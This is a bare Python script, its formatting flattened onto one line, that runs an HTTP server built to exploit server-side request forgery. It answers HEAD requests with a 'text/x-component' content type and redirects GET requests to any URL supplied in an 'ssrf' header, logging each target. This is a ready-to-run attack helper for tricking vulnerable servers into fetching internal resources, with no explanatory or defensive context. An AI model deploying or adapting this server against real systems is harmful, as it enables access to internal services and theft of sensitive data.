from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse import json class SimpleHandler(BaseHTTPRequestHandler): def do_HEAD(self): self.send_response(200) self.send_header('Content-Type', 'text/x-component') self.end_headers() def do_GET(self): ssrf = self.headers.get('ssrf', 'https://example.com') log_data = { 'url': self.path, 'method': self.command, 'ssrf': ssrf } print("Request received: " + json.dumps(log_data)) print(f"Redirecting to: {ssrf}") self.send_response(302) self.send_header('Location', ssrf) self.end_headers() def run(server_class=HTTPServer, handler_class=SimpleHandler, port=8000): server_address = ('', port) httpd = server_class(server_address, handler_class) print(f'Listening on port {port}...') httpd.serve_forever() if __name__ == '__main__': run()